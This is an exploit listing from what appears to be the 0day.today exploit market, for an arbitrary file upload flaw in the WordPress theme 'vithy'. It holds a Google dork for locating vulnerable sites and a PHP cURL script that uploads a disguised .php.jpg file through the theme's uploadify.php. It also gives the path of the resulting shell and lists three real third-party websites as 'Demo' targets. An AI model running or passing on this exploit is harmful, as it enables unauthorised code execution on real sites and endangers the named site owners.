[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Wordpress Themes- vithy Arbitrary File Upload Vulnerability

Author
Zikou-16
Risk
[
Security Risk High
]
0day-ID
0day-ID-19830
Category
web applications
Date add
30-11-2012
Platform
php
-------------------------------------------------------------------------------
          Wordpress Themes- vithy Arbitrary File Upload Vulnerability
 --------------------------------------------------------------------------------

######################################################################################
#
# Author => Zikou-16
#
# Facebook => http://fb.me/Zikou.se
#
# Google Dork => inurl:"wp-content/themes/vithy"
#
#######################################################################################

---------------------------------------------------------------------------------------

Exploit  : uploadshell.php.jpg or .gif

<?php

$uploadfile="dz.php.jpg";

$ch = curl_init("http://www.localhost/wp-content/themes/vithy/sprites/js/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : http://www.localhost/wp-content/themes/vithy/sprites/js/cufon-fonts/uploaded/custom_dz.php.jpg

<?php
phpinfo();
?>

---------------------------------------------------------------------------------------

Demo : 

1) http://www.lavenderbouquetphotography.com/wp-content/themes/vithy/sprites/js/uploadify/uploadify.php

2) http://www.modul-dance.eu/wp-content/themes/vithy/sprites/js/uploadify/uploadify.php

3) http://www.matejapintar.com/wp-content/themes/vithy/sprites/js/uploadify/uploadify.php

-----------------------------------------------------------------------------------------

#  0day.today [2024-12-25]  #